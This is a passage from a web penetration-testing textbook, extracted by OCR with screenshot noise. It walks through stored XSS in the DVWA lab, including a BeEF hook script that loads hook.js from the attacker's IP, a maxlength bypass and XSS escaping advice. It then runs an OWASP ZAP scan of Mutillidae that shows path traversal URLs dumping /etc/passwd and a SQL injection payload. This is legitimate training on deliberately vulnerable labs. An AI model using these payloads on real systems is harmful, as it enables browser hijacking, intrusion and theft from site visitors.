more dangerous than reflected XSS.
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So, let's have a look at this. Click on the XSS stored tab on the left. We will see a page, as
shown in the following screenshot:

— Vulnerability: Stored Cross Site Scripting (XSS)
Instructions -

R Mame

s, Message *

Command Execution Sign Guesthook
CSRF

File inclusion

SQL Injection Name: lest

SQL Injection (Blind) Message: This is a tesl comment.
Mt More info

XSS reflected

The page only allows us to add a message to the system. Now we are going to enter zaid in
the Name textbox. We're just going to do a normal test to begin with. We're going to

enter message body in the Message textbox, and then we are going to click on the Sign
Guestbook button. We can see in the following screenshot that zaid added a message
called message body:

s ~ Vulnerability: Stored Cross Site Scripting (XSS)
Instructions
Name *

Setup

Brute Force bicasage -

CO X Sign Guestbook
CSRF

File Inclusion

SOL Injection Name: test

SQL Injection (Blind) Message: This is a test comment.
| Upload Name: zaid

XSS ted Message: message body

More info
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So, if we switch to a different DVWA machine in a different place and go to the XSS stored
tab, we will be able see that there are two entries. The entries will be loaded from the
database, and they contain the entries in that database. If we managed to inject code instead
of a message, then the code will run on the machine of whoever runs this page without us
even needing to send that person any code.

Let's try to inject into the DVWA that is running in the Kali environment. Let's enter the
Name as zaid. We are going to try to enter our code in the Message textbox. We will enter
it as <script>, and we are going to use the exact same test code that we used in the
previous section, just a message saying XsSs. Again, very basic code, but it serves for the
purposes of this attack. We're going to make the code say alert ("xSs"), and then we are
going to click on Sign Guestbook button. So the code is as follows:

<script>alert ("XSS")</script>

We will see that we get XSS displayed in the pop-up alert, but the real magic happens
when a normal person accesses the page:

X55

Let's assume that DVWA is just a normal website and people are just coming to browse it.
Once they go to the XSS stored tab on the website, the JavaScript code will be executed on
their system from the website. The code will come from the website and will be executed on
each user that visits the page. Again, we're just implementing a proof-of-concept here; in
the next sections, we'll see how to further exploit this kind of vulnerability.

XSS BeEF exploitation

We haven't yet seen a good way of exploiting XSS vulnerabilities; all we have done so far is
inject a very simple code that displays an alert on the screen saying that this website is
vulnerable. What we are going to do now is something more advanced. We want to control
the victims and do stuff on the target computers, on the people that visit the vulnerable
pages where we have injected our code. We're going to use the BeEF browser to do this. We
had a look at BeEF in previous chapters. What we're going to do here is use the BeEF hook
URL and inject it into the stored XSS page so that everybody who visits that page will be
hooked to BeEF. Then, we'll be able to run all the commands that BeEF allows us to run on
the target computer.
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Let's start BeEF. If we look at the online browsers, we have no victims at the moment. So, in
order to hook victims to this framework and gain access to the functionality of BeEF, we
need to inject a particular script instead of the alert:

<script src="http://<IP>:3000/hook.js"></script>

Replace the IP in the preceding code with your current IP. Remember in the previous
sections, we were injecting an alert script into the URL, or into the XSS stored page. In
this example, we're going to be injecting a script that hooks the target onto our BeEF
browser so that we can exploit them. We are going to copy the preceding script and then
we are going to go to our DVWA website. We are just going to make sure that the security
is set to low in DVWA's Security tab. Start the BeEF browser on Kali machine. Go to the
DVWA website and under the XSS stored tab, we're are going to enter the Name as beef,
and we'll enter the Message as the hook URL that we got from the BeEF Terminal. Again
will need to modify the IP address in the hook URL to our own IP address. So, instead of
just the IP address of the website, we are going to enter our own IP address, which is
10.0.2.15. Now, the site wont let us add any more characters because the Message field is
configured in a way that doesn't allow more than a certain number of characters. Instead,
we can bypass this very easily by right-clicking and selecting the Inspect Element option
from the drop-down menu:

MName * beef

<script src="http://10.0.2:3000/hook .js"=</script>

Message * Undo
—— Cut
Sign Guestbook
S e, Copy
Paste
MName: test Delete
Message: This is a test comment. Select All
Name: zaid Check Spelling
Message: message body
Languages >

More info Inspect Element (Q)
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Then we are going to modify maxlength, setting it to 500 instead of 50:

<thody>
<trr<firs

<td width:

DVWA Security
PHP Info

About I i
(] [ Console  © Debugger () Style Edi. @& Performa.. ok Memory = Network
+

=" 100">Mes5A08 “</ 1>

Mame; test

€5cript sre="nip://10.0.2:3000/Mook 5" </script>

Sign Guesibook

Measage: This is a st commen

HNane: zaid

Message: message body

More info

Search HTML

Lement

{

H 8 0

s B m Computed Animations Fonts
| ¥ Filter Sey

%

S 0@®x

+ %y

inline &

Now we can add more characters. We are going to close the Inspect Element dialog box
and set the IP to 10.0.2. 15, which is our current IP. We are then going to click the Sign
Guestbook button, and this should make it work. Now, if we go to our target, which is our
Linux computer that has been hooked as a target, it can be seen to the left of the BeEF
window in the following screenshot:

Hooked Browsers

4 +—] Online Browsers
410024

7 8 E@100215

- [ Offline Browsers

Obviously, this is not our target; it is just us who are looking at the site, and the hook has
been executed on our browser. Our target is actually the Windows device, or any person
who is going to be visiting this XSS stored page. Because this is a stored XSS, just like we
explained, the code will be executed on the machine of any person who visits the page.

Now, if we go back to BeEF browser, we should see the Windows device, and we will be

able to see that it's shown up in the Online Browsers:

4+ 0nl

Hooked Browsers
ine Browsers

459100215

7 W* 10025
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So we have basically hooked the Windows device, and we can now run the large number of
functions that BeEF allows us to use. Next, we are going to click on our target and go to the
Commands tab. Right now, we just want to run a specific command, which is just an alert
command like we were using before, just to confirm that everything is working. We are
going to use Create Alert Dialog, and we can set the Alert text as anything we want.
We are going to leave it as BeEF Alert Dialog, and we will just click on Execute:

Hooked Browsers
# ' Online Browsers

Logs Current Browser

#310021% Detlls Logs Commands Rider XssRays Ipec Network WebRTC
7 B 10025 Module Tree Module Results History Create Alert Dialog
OMine Browsers i
alert id - date label Descripgon:  Sends an aled dialog b he hooked browser,
4 jBrowser (1)
I 21
4 (- Hooked Domain (1)
Create Alert Dialog At text: BeEF Alert Dialog

4 = Phonegap (1)
Adoat User

Now, if we go on our target computer, we can see that the alert dialog is working, as
shown in the following screenshot:

This site says...

BeEF Alert Dialog

Now, anybody who browses our target website—the vulnerable website—will get hooked
to BeEF, and we can then run all the commands that we've been looking at. So, all the
commands that we see in the client-side attacks—such as gaining full access using a fake
notification bar, getting a screenshot, injecting a keylogger—can be used on any person
who visits the vulnerable page because we injected our hook into that page, not into the
browser. Our hook is a part of the page, so every time the page is loaded by anyone, they
will be hooked to the BeEF browser.
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XSS protection

Now let's talk about how we can prevent XSS vulnerabilities. These vulnerabilities exist
because whenever a user enters something into a textbox or a parameter, that input is
displayed in the HTML, so it's treated as if it's part of the page. Therefore, if there is
JavaScript in it, the code is executed. To prevent this exploit, the best thing to do is to try
and minimize the usage of untrusted input. Given this exploit, we should try to minimize
occasions where the user inputs something or where something is input from parameters.
Also, make sure that we always escape whatever is going to be displayed or used in the
HTML page, because XSS can not only be injected into places where things are displayed
on the page, but it can also be injected into parameters of certain elements of the HTML
page. Escaping means that we convert each of the characters shown in the following
screenshot to what they would be represented by in HTML. We can do this using our own
script:

Char Result
— &amp;
» &lt;
— &ot;

— &quot;
» &#x27,
— &#x2F;

Now let's see how it happens. Starting from the vulnerable web page that we are using, let's
go to the XXS stored page. Let's inspect the element that is highlighted in the following
screenshot, which is where we injected our alert, and if we right-click and go to Inspect
Element in the drop-down menu, it will show us the HTML of the highlighted element:

: Name: zaid
| o EEE
(®W 1 Inspector Console > Debugger {} Style Edi.. @ Performa.. €k Memory = Network

Search HTML & Bl
DOOK_COMMENTS "=</ad1Vv=
estbook_comments"></div>
v guestbook_comments"></div>
<div id="guestbook_comments">
Name: zaid

<br=
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If we scan through it, we will see that we have the Name, which is zaid, and then the other
input, which is the Message. It's a script, and what the script does is displays an alert which
says XSS, so it's exactly what we injected into it when we made the comment. So, every
time we run this page, this piece of code gets executed. We need to make sure that every
time a user enters something, and every time something is displayed on a page or is used
somewhere in the elements of the page (even the id parameter, for example, is a parameter
of the <div> tag, but it isn't displayed), then it can be injected as well. Hackers can try to
inject hooks into the parameters—they can try to inject hooks into the image attributes, for
example, make an image and inject a hook into the source or the URL.

Let's try an example where every time a user's input is used anywhere on the page—even if
we don't see it—we make sure that we escape that input and ensure that it does not contain
any code, and if the input does contain any code, that it's converted to an equivalent that
will not be run. It's converted to its HTTP equivalent so that we see alert in the message.
We see the message as a script alert of an XSS vulnerability, but it will never be executed
on the target person when they run it.

Now, as a user, to prevent ourselves from being victim of an XSS attack, the URL coming to
us will probably look like the URL of a trusted website; for example, let's say that we work
in a company that had an XSS vulnerability. We log into our company and the code gets
executed on our machine. Once this happens, there isn't much we can do, so we need to be
careful beforehand. With BeEF, we saw that in order to exploit the vulnerabilities, we
showed, for example, a fake update to the target computer. So if we get a message stating
that there is an update, we should go to the actual website of the software that (apparently)
needs updating to check. So, if the Firefox browser states that there is an update for its
software, go to the Firefox website and see whether there is actually an update, and if there
is, download it from that website—don't download it from the notification that's received.
Also, make sure to download it from an HTTPS website. Once we download it, we can
inspect and check it the same way that we've seen before in order to make sure that there
are no backdoors or anything in it. We can also check the md5sum to make sure that the file
hasn't been manipulated while it was being downloaded, the same as we did with the fake
Facebook login when we were using BeEF. So, whenever we are told that we have been
logged out and are asked to log back in again, ignore the request and go to Facebook, make
sure it's using HTTPS, and then log in to Facebook. Always try to be careful when
notifications pop up telling you that you need to do things—always be aware, and never
trust them.
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Summary

In this chapter, we learned about XSS attacks, which can be described as vulnerabilities that
are found on web applications. We also learned that there are three major types of XSS
vulnerabilities—the reflected and stored. We looked at the reflected vulnerability and used
the DVWA website to launch this attack. We also learned about the stored XSS
vulnerability, and even practically implemented it. Then, in the exploitation section, we
performed an advanced attack where we controlled the victim's machine. Finally, we
learned how to protect ourselves from these vulnerabilities. In the next chapter, we are
going to be learning about a tool called ZAP.
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Discovering Vulnerabillities
Automatically Using OWASP
ZAP

In the last chapter, we covered another important part of penetration testing, which was
about exploiting cross-site scripting vulnerabilities.

Now, in this chapter, we are going to be studying a tool called ZAP, which will help us
detect the risks and vulnerabilities of web applications. We will then explore various scans
that we can perform and also learn to read the scan results. We will see this through a few
examples.

This chapter will cover the following web penetration testing topics:

e OWASP ZAP start
e OWASP ZAP result

OWASP ZAP start

So far, we've learned how to manually discover a number of very dangerous
vulnerabilities. We've seen how they work and how to exploit them. In this section, we will
learn about a tool that will allow us to automatically discover vulnerabilities in web
applications. It'll allow us to discover the vulnerabilities that we learned, plus many more.
The reason we didn't study this tool at the start because I wanted to teach you how to
discover vulnerabilities manually. Also, I wanted you to know how these vulnerabilities
occur, so as to understand the reason behind them. So this program is just a tool, it can
make mistakes and it can show false positives. It can also miss vulnerabilities in some cases.



Discovering Vulnerabilities Automatically Using OWASP ZAP Chapter 22

Therefore, I wanted you to know how to do these things manually, so that if the program
doesn't work or misses something, you will be able to find it. The best way to use these
programs is as a backup or just as a tool to help us with our penetration testing.

Using the tool is very simple. We are going to go to Applications and then we are going to
type in zAP. It will ask us if we want to save the current session when we search for
something, and we will select No, I do not want to persist this session at this moment in
time and click Start:

OWASP ZAP [ ]
Do you want to persist the ZAP Session?
(_ Yes, | want to persist this session with name based on the current timestamp
() Yes, | want to persist this session but | want to specify the name and location
(®) No, | do not want to persist this session at this moment in time
] Remember my choice and do not ask me again.

[fou can always change your decision via the Options / Database screen

Help Start

In the following screenshot is the main view of the tool. On the left are the websites that we
will be targeting, on the right, we can attack and set the website URL, and at the bottom, we
can see the results of our attack or our scan:

Untitled Session - OWASP ZAP 2.7.0 e o0

File Edit \iew gnalyce Report Joole Qnbne Help
Sonderdiode iv) | (G Wl S i B D8 OO0 At . @PF P2 XKERE o« F

@ Sives | + leqmumlmnwnwi'l'i
L N l&|
¥ (S contats Welcome to the OWASP Zed Attack Proxy (ZAP)

£ T Dafault Context ZAP i3 an eazy 1o use integrated penstration testing tool for finding vulnerabilties in web applications.
@ Sites

Please be aware that you should only attack applications that you have been specifically been ghwen permission to test.

To quickly test an application, enter its URL below and press "Attack’.

URL to attack: hitpel @ Select..
| Famxk | @
Progress: Mot started

For a mara in depth test you should sxplore your appheation using your browsar ar automated regression tests while proxying through ZaP, [:

|

| [ history | search [ P mects | output [+
@ @ ' Filter: OFF & Export
Ll i By Tiomunhaip. Mot . | o | P T | S P Bl e | Mt MR M | T

Alerts 50 (50 <0 MO Cumrent Scans @0 B0 20 Do ¥o 0 ¥
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If we go to the cog icon on the left, it will open a window, as seen in the following
screenshot, which will allow us to modify the options for the program. We can modify
certain aspects of it, the way the Fuzzer works, the way the AJAX Spider works, the way
the scan works:

Options [ ]
¥ Options 4 |[Active Scan @
Active Scan Input Vectors Number of hosts scanned concurrently: i
AJAX Spider : \T) : : : N
Almis 1 2 3 4 5
i;r'_CSRF Tokens Concurrent scanning threads per host: 2
Applications T T T
Breakpoints 0 5 10 15 20 23 30 33 40 45 30
Callback Address Max results to list: 1000 B
Certificate
Check For Updates Maximum rule duration {min, 0 is unlimited): 0 B
annechian Maximum scan duration (min, 0 is unlimited): 0 =
Database
Display Delay when scanning in milliseconds: 0
Dynamic SSL Certificates
Encode‘r[}ecode O L e L T | B L R L | L B R e S T s s |
Extensions 0 100 200 300 400 500 600 700 800 900 1000
Forced Browse
b _/ | |[[] Inject plugin 1D in header for all active scan requests
Global Exclude URL (Beta
HTTP Sessions [_] Handle anti-CSRF tokens (experimental functionality)
VM
Keyboard (] In Attack mode prompt to rescan nodes when scope changed
Language
Local Proxies In Attack mode always rescan nodes when scope changed
Passive Scan Rules W | . i
Passive Scan Tags v ault active scan policy: [ |"] .
< -
| Reset to Factory Defaults | Cancel oK
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We are not going to modify anything. Another thing that we can modify is the policies used
in the scan; something similar to the scans that we were using with Nmap, the intense scan
and so on. So, we going to click on the plus sign, which is at the bottom of the screen, and
we are going to click on Active Scan:

[ = History | S Search | ¥ Alerts | | | output
58 AJAX Spider

@ @ ' Filter: OFF & Export 3 Artiveccan
Id | Req. Timestamp | Method 3 Break Points
# " Forced Browse
W Fuzzer

=5, HTTP Sessions
(=] Params

& Spider

&% WebSockets
oo Zest Results

Click on the Scan Policy Manager button, highlighted in the following screenshot:

Scan Policy Manager (]
Policy Name | | Add |
Default Policy <y
Import
Export
& Close

Select Default Policy, now we can create our own policies by using the Add button. We're
going to click on Default Policy and click on the Modify button:

|
Policy Name Add
Default Polic
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Clicking on the Modify button will show us the aspects that we can modify:
Scan Policy @
|7 Fean Poley @
Client Browser s
Information Gathering Policy: Default Policy
::ij;cctflilz:eous Default Alert Threshold: | egium | ] (Default threshold)
Server Sccurity Default Attack Strength: @ (Default attacks)
Applyt[)ed’ault .v|Thre$hold To |All !7|Rul&$ Go |
Apply| Default v| Strength To | All .'l Rules| Go
Category 4 | Threshold | Strength |
Client Browser
Information Gathering Default Default
Injection Default Default
Miscellaneous Default Default
Server Security Default Default
Thresholds and strengths can be changed by clicking on them Cancel | | OK

In the preceding screenshot, we can see that we can modify the Policy, the Default Alert
Threshold, and the Default Attack Strength for the global policy. Clicking on each of the
categories will allow us to modify the specific scans that will be performed. For example, in
the following screenshot, in the Injection tab, we can see all the injection scans that the
program is going to try, for example, Cross Site Scripting: in the Threshold column, when
we click on type of threshold, we can set it to Default, Low, Medium, or High:

Scan Policy [ <)
v 5can Policy Injection @
Client Browsecr
Information Gathering Test Name 4| Threshold | Strength | Quality |
| Buffer Overflow Default Default Release
Miscellaneous CRLF Injection Default Default Release
Server Security s Site Scripting (Persistent) [Default B4
Cross Site Scripting (Persistent) - Prime Default Release
Cross Site Scripting (Persistent) - Spider Default Release
Cross Site 5cripting (Reflected) Default Release
Format String Error Default Release
Parameter Tampering Default Release
Nemote 05 Command Injection ETS Default Release
Server Side Code Injection Default Default Release
Server Side Include Nefault Nefault Release
SOL Injection Default Default Release
Thresholds and strengths can be changed by clicking on them Cancel 0K
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Setting it to Default will just default to the value selected, which is Medium in the
following screenshot:

Scan Policy (7]

Policy: Default Policy

Default Alert Threshold: lMedium = (D-efaultthreshold)l
Default Attack Strength: | padium |'] (Default attacks)

Apply | Default |+ |Threshold To | All = |Rules| Go
Apply | Default |w|Strength To |All |¥|Rules | Go

Or, for example, if a SQL Injection is what we are looking for, if what we are looking for is
access to the database, then we can set Threshold to High so that it'll try everything and it
will try to find vulnerability in even difficult places:

¥ Scan Policy Injection @
Client Browser
Information Gathering Test Name 4| Threshold | Strength | Quality |
Buffer Overflow Default Default Release
Miscellaneous CRLF Injection Default Default Release
Server Security Cross Site Scripting (Persistent) Default Default Release
Cross Site Scripting (Persistent) - Prime Default Default Release
Cross Site Scripting (Persistent) - Spider Default Default Release
Cross Site Scripting (Reflected) Default Default Release
Format String Error Default Default Release
Parameter Tampering Default Default Release
Remote 0S5 Command Injection Default Default Release
Server Side Code Injection Default Default Release
Server Side Include Default Default Release
(Default 2 e
Thresholds and strengths can be changed by clicking on them ——— | Cancel || oK

Just leave everything as default. Now, we are going to start our attack against the
mutillidae script. So, we have itin 10.0.2. 4 running on the Metasploitable machine, and
the URLis http://10.0.2.4/mutillidae/. Paste the URL in the URL to attack textbox
present in the OWASP tool and click the Attack button:
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Welcome to the OWASP Zed Attack Proxy (ZAP)

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.

Please be aware that you should only attack applications that you have been specifically been given permission to test.

To quickly test an application, enter its URL below and press 'Attack'.

URL to attack: |http:;";flf.l.t'.l.2.4;fmutillidaes¢r “ @ select... J
4 Attack M stop
Progress: Not started

For a more in depth test you should explore your application using your browser or automated regression tests while proxying through ZAP.

The tool is first try to find all the URLs and then it will try and attack the URLSs based on the
scan policy that we used. The output of the scan will be as follows:

Untitled Session - OWASP ZAP 2.7.0 (- - ]
Elle Edit Wiew Analyse Beport Tooks QOnline Help
Sandadmede j3) | B WM -G A8 D@8 000 de / P POXERE €
- sites | + + Quick start # | = Request | Responses= | 4 |
@SB _“\
¥ Cortatse Welcome to the OWASP Zed Attack Proxy (ZAP)
0"'- Default Context ZAP 18 an o3ty to use Integrated penetration testing tool for finding vulnerabilities in web applicaticns.
v Sites
v P htpurl0.0.2.4 Please be aware that you should only attack applications that you have been spacically been given permission to test.
o GET:mutilidas To quickly tast an application, anter its URL balow and pross ‘Attack’,
L P W mutilkdae
o m GET:mutillidasi page) URL te attack: REtpL0.0. 2. 4/mutilldas @ Select...
# ¥ GET:robots.tut Attack | m
» |

7 W GET: |
GETinkeen pp.2m) Progress: Atack complete - see the Alerts tab for details of any issues found

For a more in depth test you should explore your application using your browser of autcmated regression tests while praxying through ZAP. [j

[ vistory |, Search | FEalorts # | Output | ) Actie Scan | # Spider | & |

@e ./ | Full detalls of any selected alert will be displayed here.
¥ Alerts (15) L . o . .
» M Cross Site Scrpting (Reflscted) (23) You can manually add alerts by right clicking on the relevant line in the history and selecting "Add alert’.

= P External Redirect

» P Path Traversal (101

» P Remaote File Inclusion

= i Rernote 05 Command Injection

= P S0L Injection

» P Application Error Disclosure (14)

* u Directory Browsing (6) L
Aerts B8 R4 25 PO

You can also edit ewsting alerts by double clicking on them.

current Scans @0 B0 20 Do #o S0 Mo
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OWASP ZAP results

After the scan is over and we can see our website on the left, clicking on it will show us
some results from the Spider when it was looking for the files:

@ sites] + |
@ LB
¥ = Contexts
[£] Default Context
v @ Sites
v [ M http://10.0.2.4
L | P GET:mutillidae
» || @ mutillidae
v @ GET:mutillidae(page)
| P % GET:robots.txt
| P ¥ GET:sitemap.xmi

The very interesting part is the Alerts in the following screenshot. We can see all the
vulnerabilities that have been discovered:

i = History T S, Search T Fu Alerts # ] | Output I ) Active

@e
¥ 5 Alerts (15) i
» [ Cross Site Scripting (Reflected) (23) i

» [ External Redirect

» M Path Traversal (10)

» [ Remote File Inclusion

» [ Remote OS Command Injection

» [ SQL Injection

» [ Application Error Disclosure (14)

» [ Directory Browsing (6) v

Alerts 6 U4 (U5 RO

At the bottom-left of the preceding screenshot, we can see that we have 6 red flags, the
High Priority Alerts, we have 4 orange flags, 5 yellow flags, and 0 blue. These are organized
in order of severity.
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Clicking on any of the categories will expand it and show the threats that have been found,
for example, clicking on Path Traversal (10), we'll see all the URLs that can be exploited to
read files from the server:

¥ "™ path Traversal (10)

| GET: http://10.0.2.4/mutillidaefindex.php?choice=nmap&initials=ZAP&page=%2Fetc%2Fpasswd &user-
GET: http://10.0.2.4/mutillidaef/index.php?do=toggle-hints&page="%2Fetc%2Fpasswd

GET: http:/10.0.2.4/mutillidaefindex.php?forwardurl=http%3A%2F%2 Fwww.php.net%2F &page="%2Fel
GET: http://10.0.2.4/mutillidaefindex.php?page="%2Fetc%2Fpasswd

GET: http:/10.0.2.4/mutillidaefindex.php?page="%2Fetc%2Fpasswd &password=ZAP&user-info-php-sub
GET: http:/10.0.2.4/mutillidaefindex.php?page="%2Fetc%2Fpasswd&username=anonymous

POST: http://10.0.2.4/mutillidaefindex.php?page=%2Fetc%2Fpasswd
AN Z L

v

Clicking on any of the sites, we will see the HTTP request that was sent in order to discover
this:

[ & Quick StartI = Request I Responsei= E

| Header: Text |¥| |Body: Text |v] Bo:

HTTP/1.1 200 0K

Date: Sat, 28 Jul 2018 15:13:27 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10

Expires: Thu, 19 Nov 1981 88:52:00 GMT
Logged-In-User

Cache-Control: public

Pragma: public

Last-Modified: Sat, 28 Jul 2018 15:13:27 GMT
Content-Type: text/html

The following screenshot shows the response and why the tool thinks that this is
vulnerable, and we can see that in the response the tool was able to get the contents of
/etc/passwd:

=blockquote>

<!-- Begin Conient -->
root:x:0:0: root:/root:/bin/bash
daemon:x:1:1:daemon: fusr/shin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:68:games: /usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/1lpd: /bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
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In the following screenshot, we can see the URL, the tool used to exploit the vulnerability,
and we can see a Description of what the current vulnerability is and how it has been
exploited:

Path Traversal

URL: http://10.0.2.4/mutillidae/index.php?do=toggle-hints&page="%2Fetc%2Fpasswd
Risk: F High

Confidence: Medium

Parameter: page

Attack: Jetc/passwd

Evidence: root:x:0:0

CWE ID: 22

WASC ID: 33

Source: Active (6 - Path Traversal)
Description:

The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web
document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary
anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal.

e

We can also see Risk, which is High. We can see Confidence—how confident the tool is
about the existence of this vulnerability. We can also see that it's been injected into a page
and the Attack is trying to get /et c/passwd. So, right-click on the page and click Open
URL in Browser:

S|t-es Include in Context >

= M http://10.0.2.4 Flag as Context »

Run application >

History: T &, Search T o plerts = E Exclude from Context >
Ig : 7 Open/Resend with Request Editor...

: Exclude from >

[ Path Traversal (10) Open URL in Browser >

Show in Sites Tab

B GET: http://10.0.2.4/mutillidae/ir

|| GET: http://10.0.2.4/mutillidaefi
| ] GET: http://10.0.2.4/mutillidaefin
| ] GET: http://10.0.2.4/mutillidaefi
| ] GET: http://10.0.2.4/mutillidaefin
| ] GET: http:/10.0.2.4/mutillidas/if

Open URL in System Browser
Copy URLs to Clipboard
Show in History Tab

Manage Tags...

Edit...
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As we can see in the following screenshot, the tool has exploited the site for us. It shows us
the output for the vulnerability, and we can read the contents of /etc/passwa:

®%¢  Mutillidae: Born to be Hacked

Security Level: 0 (Hosed)

Togyle Hints

Hints: Enabled (1 - 5cript Klddle) Not Logged In

¥y ResetDRE ViewlIng  View Captured Data

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/shin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh |p:x:7:7:1p:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:
fhin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spoolfuucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:3%:ircd:/var/runfircd:/binfsh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:
/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/binfbash bind:x:105:113::/var/cache/bind:
fbin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL
Server,,,:fvarflib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false

Site distced:x:111:65534:././bin/false user:x:1001:1001;just a user,111,.;/home/user:/bin/bash
hacked...err...quality- service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false
tested with Samurai proftpd:x:113:65534:/varfrun/proftpd./bin/false statd:x:114.65534:./var/lib/nfs:/bin/false

Let's have a look at another example, for example Cross Site Scripting. Again, the tool also
checks for POST and GET parameters. Sometimes, when the injection is sent in textboxes, or
even sent without textboxes, if it's sent in a POST parameter, we won't see it in the URL, so
it actually checks for POST and GET. You can see in the following screenshot, it found a
vulnerability in the POST request in the register page, and it also found one in a GET
request:

[ = History T C,, search T 8 Alerts # | || output
Qe /
| GET: http://10.0.2.4/mutillidae/index.php?p

| | GET: http:/10.0.2.4/mutillidae/index.php?p
| | GET: http://10.0.2.4/mutillidae/index.php?p
|| POST: http://10.0.2.4/mutillidae/index.php?
| | POST: http://10.0.2.4/mutillidae/index.php?
| | POST: http://10.0.2.4/mutillidae/index.php?

| POST: http://10.0.2. 4/mutillidae/index.php?)
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Again, right-clicking and opening in the browser will execute it for us, and we can see that
the code has been executed:

Again, we can find the URL of the execution from the address bar in the browser. If we
want to use it for any other tools, we can see it in tool as well, the URL that's being used to
exploit the vulnerability.

Let's just have one more example of SQL Injection. Again, click on the link:

ﬁ S_ites Include in Context >
¥ | M http://10.0.2 Flag as Context E
» 1P #icons Run application >
| ] P GET:mutill Exclude from Context >

» [ ® % mutilid{ Open/Resend with Request Editor...
Exclude from 2

|| P @ GET:m
|| F # GET:rob
|| P # GET:site

Open URL in
Show in Sites Tab

Open URL in System Browser
Copy URLs to Clipboard

Show in History Tab

Manage Tags...

Edit...
F
= History | S\, Searc ol

@ @ 7 Refresh Alerts Tree

Delete

» [ External Redirect
» [ Path Traversal (1]
» [ Remote File Incly
» [ Remote OS Comirl

¥ [0 SQL Injection

» [8 Application Error

Generate Anti-CSRF Test FORM
Invoke with Script...

Add to Zest Script

Generate Zest script for alert
Compare 2 requests

Compare 2 responses

Include Channel Url in Context

[527]



Discovering Vulnerabilities Automatically Using OWASP ZAP Chapter 22

It will show us the URL and it will show us the Attack that it used, ZAP' AND '1'='1", which

is in the Parameter password, and if you remember, we actually did exploit this parameter
manually:

SQL Injection

LIAL: http:10.20.14. 204 /mut fidae/index php?page =userinfo phpkpassword=7AP%2 7+ AND+ %27 1% 2 THIDRITI %I T+ —+ Euseranfo-php-submit-button=View+Account + Detalls&usemame =7 AF
Risk: B High

Confidence: “edium

Parametar:  passear d

Attack: ZAP' AND '1'="1" ~

Evidence:

CWE IC: 85

WASC 1D 15

Parameters used for exploit.

Opening the link in the browser will show us that the injection is working, and it's using a
username and a password called ZAP:

Please enter username and password
to view account details

Name

Password

View Account Details

Dont have an account? Flease register here

Results for . 1 records found.

Username=7AP
Password=ZAP
Signature=

So, the tool is very simple, very powerful, and very useful. We can play around with it, we

can play around with the proxy and with the options, and see how we can enhance the
results and achieve even better results.

Summary

In this chapter, we have looked at the last part of penetration testing, where we learned to
use a tool called OWASP ZAP, which helps us understand the vulnerabilities in web
applications. We studied this as the last part of web penetration testing because I wanted
you to first learn how to penetration test manually. In the first section of this chapter, we
explored the GUI of the tool and all of the actions we can perform using it. The next part of

the chapter covered the way we perform scans and we even interpreted the results of
scans.
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